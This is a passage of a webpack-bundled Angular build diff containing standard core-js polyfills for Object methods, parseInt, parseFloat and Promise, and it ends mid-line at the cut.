"./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.assign.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.assign.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var assign = __webpack_require__(/*! ../internals/object-assign */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-assign.js"); + +// `Object.assign` method +// https://tc39.github.io/ecma262/#sec-object.assign +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: Object.assign !== assign }, { assign: assign }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.create.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.create.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Object.create` method +// https://tc39.github.io/ecma262/#sec-object.create +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ + target: 'Object', stat: true, sham: !__webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js") +}, { create: __webpack_require__(/*! ../internals/object-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js") }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.define-properties.js": +/*!****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.define-properties.js ***! + \****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); + +// `Object.defineProperties` method +// https://tc39.github.io/ecma262/#sec-object.defineproperties +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: !DESCRIPTORS, sham: !DESCRIPTORS }, { + defineProperties: __webpack_require__(/*! ../internals/object-define-properties */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-properties.js") +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.define-property.js": +/*!**************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.define-property.js ***! + \**************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); + +// `Object.defineProperty` method +// https://tc39.github.io/ecma262/#sec-object.defineproperty +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: !DESCRIPTORS, sham: !DESCRIPTORS }, { + defineProperty: __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.freeze.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.freeze.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var onFreeze = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js").onFreeze; +var nativeFreeze = Object.freeze; +var FREEZING = __webpack_require__(/*! ../internals/freezing */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/freezing.js"); +var FAILS_ON_PRIMITIVES = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { nativeFreeze(1); }); + +// `Object.freeze` method +// https://tc39.github.io/ecma262/#sec-object.freeze +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES, sham: !FREEZING }, { + freeze: function freeze(it) { + return nativeFreeze && isObject(it) ? nativeFreeze(onFreeze(it)) : it; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.get-own-property-descriptor.js": +/*!**************************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.get-own-property-descriptor.js ***! + \**************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var nativeGetOwnPropertyDescriptor = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js").f; +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var FAILS_ON_PRIMITIVES = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { nativeGetOwnPropertyDescriptor(1); }); +var FORCED = !DESCRIPTORS || FAILS_ON_PRIMITIVES; + +// `Object.getOwnPropertyDescriptor` method +// https://tc39.github.io/ecma262/#sec-object.getownpropertydescriptor +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: FORCED, sham: !DESCRIPTORS }, { + getOwnPropertyDescriptor: function getOwnPropertyDescriptor(it, key) { + return nativeGetOwnPropertyDescriptor(toIndexedObject(it), key); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.get-own-property-names.js": +/*!*********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.get-own-property-names.js ***! + \*********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var nativeGetOwnPropertyNames = __webpack_require__(/*! ../internals/object-get-own-property-names-external */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names-external.js").f; +var FAILS_ON_PRIMITIVES = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { Object.getOwnPropertyNames(1); }); + +// `Object.getOwnPropertyNames` method +// https://tc39.github.io/ecma262/#sec-object.getownpropertynames +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES }, { + getOwnPropertyNames: nativeGetOwnPropertyNames +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.get-prototype-of.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.get-prototype-of.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var nativeGetPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var CORRECT_PROTOTYPE_GETTER = __webpack_require__(/*! ../internals/correct-prototype-getter */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-prototype-getter.js"); +var FAILS_ON_PRIMITIVES = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { nativeGetPrototypeOf(1); }); + +// `Object.getPrototypeOf` method +// https://tc39.github.io/ecma262/#sec-object.getprototypeof +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ + target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES, sham: !CORRECT_PROTOTYPE_GETTER +}, { + getPrototypeOf: function getPrototypeOf(it) { + return nativeGetPrototypeOf(toObject(it)); + } +}); + + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.is-extensible.js": +/*!************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.is-extensible.js ***! + \************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var nativeIsExtensible = Object.isExtensible; +var FAILS_ON_PRIMITIVES = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { nativeIsExtensible(1); }); + +// `Object.isExtensible` method +// https://tc39.github.io/ecma262/#sec-object.isextensible +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES }, { + isExtensible: function isExtensible(it) { + return isObject(it) ? nativeIsExtensible ? nativeIsExtensible(it) : true : false; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.is-frozen.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.is-frozen.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var nativeIsFrozen = Object.isFrozen; +var FAILS_ON_PRIMITIVES = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { nativeIsFrozen(1); }); + +// `Object.isFrozen` method +// https://tc39.github.io/ecma262/#sec-object.isfrozen +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES }, { + isFrozen: function isFrozen(it) { + return isObject(it) ? nativeIsFrozen ? nativeIsFrozen(it) : false : true; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.is-sealed.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.is-sealed.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var nativeIsSealed = Object.isSealed; +var FAILS_ON_PRIMITIVES = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { nativeIsSealed(1); }); + +// `Object.isSealed` method +// https://tc39.github.io/ecma262/#sec-object.issealed +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES }, { + isSealed: function isSealed(it) { + return isObject(it) ? nativeIsSealed ? nativeIsSealed(it) : false : true; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.is.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.is.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Object.is` method +// https://tc39.github.io/ecma262/#sec-object.is +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true }, { is: __webpack_require__(/*! ../internals/same-value */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/same-value.js") }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.keys.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.keys.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var nativeKeys = __webpack_require__(/*! ../internals/object-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys.js"); +var FAILS_ON_PRIMITIVES = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { nativeKeys(1); }); + +// `Object.keys` method +// https://tc39.github.io/ecma262/#sec-object.keys +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES }, { + keys: function keys(it) { + return nativeKeys(toObject(it)); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.prevent-extensions.js": +/*!*****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.prevent-extensions.js ***! + \*****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var onFreeze = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js").onFreeze; +var nativePreventExtensions = Object.preventExtensions; +var FREEZING = __webpack_require__(/*! ../internals/freezing */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/freezing.js"); +var FAILS_ON_PRIMITIVES = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { nativePreventExtensions(1); }); + +// `Object.preventExtensions` method +// https://tc39.github.io/ecma262/#sec-object.preventextensions +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES, sham: !FREEZING }, { + preventExtensions: function preventExtensions(it) { + return nativePreventExtensions && isObject(it) ? nativePreventExtensions(onFreeze(it)) : it; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.seal.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.seal.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var onFreeze = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js").onFreeze; +var nativeSeal = Object.seal; +var FREEZING = __webpack_require__(/*! ../internals/freezing */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/freezing.js"); +var FAILS_ON_PRIMITIVES = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { nativeSeal(1); }); + +// `Object.seal` method +// https://tc39.github.io/ecma262/#sec-object.seal +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES, sham: !FREEZING }, { + seal: function seal(it) { + return nativeSeal && isObject(it) ? nativeSeal(onFreeze(it)) : it; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.set-prototype-of.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.set-prototype-of.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Object.setPrototypeOf` method +// https://tc39.github.io/ecma262/#sec-object.setprototypeof +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Object', stat: true }, { + setPrototypeOf: __webpack_require__(/*! ../internals/object-set-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-set-prototype-of.js") +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.to-string.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.object.to-string.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toString = __webpack_require__(/*! ../internals/object-to-string */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-to-string.js"); +var ObjectPrototype = Object.prototype; + +// `Object.prototype.toString` method +// https://tc39.github.io/ecma262/#sec-object.prototype.tostring +if (toString !== ObjectPrototype.toString) { + __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js")(ObjectPrototype, 'toString', toString, { unsafe: true }); +} + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.parse-float.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.parse-float.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var parseFloatImplementation = __webpack_require__(/*! ../internals/parse-float */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/parse-float.js"); + +// `parseFloat` method +// https://tc39.github.io/ecma262/#sec-parsefloat-string +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ global: true, forced: parseFloat != parseFloatImplementation }, { + parseFloat: parseFloatImplementation +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.parse-int.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.parse-int.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var parseIntImplementation = __webpack_require__(/*! ../internals/parse-int */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/parse-int.js"); + +// `parseInt` method +// https://tc39.github.io/ecma262/#sec-parseint-string-radix +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ global: true, forced: parseInt != parseIntImplementation }, { + parseInt: parseIntImplementation +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.promise.js": +/*!***********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.promise.js ***! + \***********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var PROMISE = 'Promise'; +var IS_PURE = __webpack_require__(/*! ../internals/is-pure */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js"); +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var $export = __webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var aFunction = __webpack_require__(/*! ../internals/a-function */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js"); +var anInstance = __webpack_require__(/*! ../internals/an-instance */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js"); +var classof = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); +var iterate = __webpack_require__(/*! ../internals/iterate */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js"); +var checkCorrectnessOfIteration = __webpack_require__(/*! ../internals/check-correctness-of-iteration */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/check-correctness-of-iteration.js"); +var speciesConstructor = __webpack_require__(/*! ../internals/species-constructor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/species-constructor.js"); +var task = __webpack_require__(/*! ../internals/task */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/task.js").set; +var microtask = __webpack_require__(/*! ../internals/microtask */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/microtask.js"); +var promiseResolve = __webpack_require__(/*! ../internals/promise-resolve */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/promise-resolve.js"); +var hostReportErrors = __webpack_require__(/*! ../internals/host-report-errors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/host-report-errors.js"); +var newPromiseCapabilityModule = __webpack_require__(/*! ../internals/new-promise-capability */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/new-promise-capability.js"); +var perform = __webpack_require__(/*! ../internals/perform */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/perform.js"); +var userAgent = __webpack_require__(/*! ../internals/user-agent */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/user-agent.js"); +var SPECIES = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('species'); +var InternalStateModule = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js"); +var isForced = __webpack_require__(/*! ../internals/is-forced */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js"); +var getInternalState = InternalStateModule.get; +var setInternalState = InternalStateModule.set; +var getInternalPromiseState = InternalStateModule.getterFor(PROMISE); +var PromiseConstructor = global[PROMISE]; +var TypeError = global.TypeError; +var document = global.document; +var process = global.process; +var $fetch = global.fetch; +var versions = process && process.versions; +var v8 = versions && versions.v8 || ''; +var newPromiseCapability = newPromiseCapabilityModule.f; +var newGenericPromiseCapability = newPromiseCapability; +var IS_NODE = classof(process) == 'process'; +var DISPATCH_EVENT = !!(document && document.createEvent && global.dispatchEvent); +var UNHANDLED_REJECTION = 'unhandledrejection'; +var REJECTION_HANDLED = 'rejectionhandled'; +var PENDING = 0; +var FULFILLED = 1; +var REJECTED = 2; +var HANDLED = 1; +var UNHANDLED = 2; +var Internal, OwnPromiseCapability, PromiseWrapper; + +var FORCED = isForced(PROMISE, function () { + // correct subclassing with @@species support + var promise = PromiseConstructor.resolve(1); + var empty = function () { /* empty */ }; + var FakePromise = (promise.constructor = {})[SPECIES] = function (exec) { + exec(empty, empty); + }; + // unhandled rejections tracking support, NodeJS Promise without it fails @@species test + return !((IS_NODE || typeof PromiseRejectionEvent == 'function') + && (!IS_PURE || promise['finally']) + && promise.then(empty) instanceof FakePromise + // v8 6.6 (Node 10 and Chrome 66) have a bug with resolving custom thenables + // https://bugs.chromium.org/p/chromium/issues/detail?id=830565 + // we can't detect it synchronously, so just check versions + && v8.indexOf('6.6') !== 0 + && userAgent.indexOf('Chrome/66') === -1); +}); + +var INCORRECT_ITERATION = FORCED || !checkCorrectnessOfIteration(function (iterable) { + PromiseConstructor.all(iterable)['catch'](function () { /* empty */ }); +}); + +// helpers +var isThenable = function (it) { + var then; + return isObject(it) && typeof (then = it.then) == 'function' ? then : false; +}; + +var notify = function (promise, state, isReject) { + if (state.notified) return; + state.notified = true; + var chain = state.reactions; + microtask(function () { + var value = state.value; + var ok = state.state == FULFILLED; + var i = 0; + var run = function (reaction) { + var handler = ok ? reaction.ok : reaction.fail; + var resolve = reaction.resolve; + var reject = reaction.reject; + var domain = reaction.domain; + var result, then, exited; + try { + if (handler) { + if (!ok) { + if (state.rejection === UNHANDLED) onHandleUnhandled(promise, state); + state.rejection = HANDLED; + } + if (handler === true) result = value; + else { + if (domain) domain.enter(); + result = handler(value); // may throw + if (domain) { + domain.exit(); + exited = true; + } + } + if (result === reaction.promise) { + reject(TypeError('Promise-chain cycle')); + } else if (then = isThenable(result)) { + then.call(result, resolve, reject); + } else resolve(result); + } else reject(value); + } catch (error) { + if (domain && !exited) domain.exit(); + reject(error); + } + }; + while (chain.length > i) run(chain[i++]); // variable length - can't use forEach + state.reactions = []; + state.notified = false; + if (isReject && !state.rejection) onUnhandled(promise, state); + }); +}; + +var dispatchEvent = function (name, promise, reason) { + var event, handler; + if (DISPATCH_EVENT) { + event = document.createEvent('Event'); + event.promise = promise; + event.reason = reason; + event.initEvent(name, false, true); + global.dispatchEvent(event); + } else event = { promise: promise, reason: reason }; + if (handler = global['on' + name]) handler(event); + else if (name === UNHANDLED_REJECTION) hostReportErrors('Unhandled promise rejection', reason); +}; + +var onUnhandled = function (promise, state) { + task.call(global, function () { + var value = state.value; + var IS_UNHANDLED = isUnhandled(state); + var result; + if (IS_UNHANDLED) { + result = perform(function () { + if (IS_NODE) { + process.emit('unhandledRejection', value, promise); + } else dispatchEvent(UNHANDLED_REJECTION, promise, value); + }); + // Browsers should not trigger `rejectionHandled` event if it was handled here, NodeJS - should + state.rejection = IS_NODE || isUnhandled(state) ? UNHANDLED : HANDLED; + if (result.error) throw result.value; + } + }); +}; + +var isUnhandled = function (state) { + return state.rejection !== HANDLED && !state.parent; +}; + +var onHandleUnhandled = function (promise, state) { + task.call(global, function () { + if (IS_NODE) { + process.emit('rejectionHandled', promise); + } else dispatchEvent(REJECTION_HANDLED, promise, state.value); + }); +}; + +var bind = function (fn, promise, state, unwrap) { + return function (value) { + fn(promise, state, value, unwrap); + }; +}; + +var internalReject = function (promise, state, value, unwrap) { + if (state.done) return; + state.done = true; + if (unwrap) state = unwrap; + state.value = value; + state.state = REJECTED; + notify(promise, state, true); +}; + +var internalResolve = function (promise, state, value, unwrap) { + if (state.done) return; + state.done = true; + if (unwrap) state = unwrap; + try { + if (promise === value) throw TypeError("Promise can't be resolved itself"); + var then = isThenable(value); + if (then) { + microtask(function () { + var wrapper = { done: false }; + try { + then.call(value, + bind(internalResolve, promise, wrapper, state), + bind(internalReject, promise, wrapper, state) + ); + } catch (error) { + internalReject(promise, wrapper, error, state); + } + }); + } else { + state.value = value; + state.state = FULFILLED; + notify(promise, state, false); + } + } catch (error) { + internalReject(promise, { done: false }, error, state); + } +}; + +// constructor polyfill +if (FORCED) { + // 25.4.3.1 Promise(executor) + PromiseConstructor = function Promise(executor) { + anInstance(this, PromiseConstructor, PROMISE); + aFunction(executor); + Internal.call(this); + var state = getInternalState(this); + try { + executor(bind(internalResolve, this, state), bind(internalReject, this, state)); + } catch (error) { + internalReject(this, state, error); + } + }; + // eslint-disable-next-line no-unused-vars + Internal = function Promise(executor) { + setInternalState(this, { + type: PROMISE, + done: false, + notified: false, + parent: false, + reactions: [], + rejection: false, + state: PENDING, + value: undefined + }); + }; + Internal.prototype = __webpack_require__(/*! ../internals/redefine-all */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js")(PromiseConstructor.prototype, { + // `Promise.prototype.then` method + // https://tc39.github.io/ecma262/#sec-promise.prototype.then + then: function then(onFulfilled, onRejected) { + var state = getInternalPromiseState(this); + var reaction = newPromiseCapability(speciesConstructor(this, PromiseConstructor)); + reaction.ok = typeof onFulfilled == 'function' ? onFulfilled : true; + reaction.fail = typeof onRejected == 'function' && onRejected; + reaction.domain = IS_NODE ? process.domain : undefined; + state.parent = true; + state.reactions.push(reaction); + if (state.state != PENDING) notify(this, state, false); + return reaction.promise; + }, + // `Promise.prototype.catch` method + // https://tc39.github.io/ecma262/#sec-promise.prototype.catch + 'catch': function (onRejected) { + return this.then(undefined, onRejected); + } + }); + OwnPromiseCapability = function () { + var promise = new Internal(); + var state = getInternalState(promise); + this.promise = promise; + this.resolve = bind(internalResolve, promise, state); + this.reject = bind(internalReject, promise, state); + }; + newPromiseCapabilityModule.f = newPromiseCapability = function (C) { + return C === PromiseConstructor || C === PromiseWrapper + ? new OwnPromiseCapability(C) + : newGenericPromiseCapability(C); + }; + + // wrap fetch result + if (!IS_PURE && typeof $fetch == 'function') $export({ global: true, enumerable: true, forced: true }, { + // eslint-disable-next-line no-unused-vars + fetch: function fetch(input) { + return promiseResolve(PromiseConstructor, $fetch.apply(global, arguments)); + } + }); +} + +$export({ global: true, wrap: true, forced: FORCED }, { Promise: PromiseConstructor }); + +__webpack_require__(/*! ../internals/set-to-string-tag */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js")(PromiseConstructor, PROMISE, false, true); +__webpack_require__(/*! ../internals/set-species */ 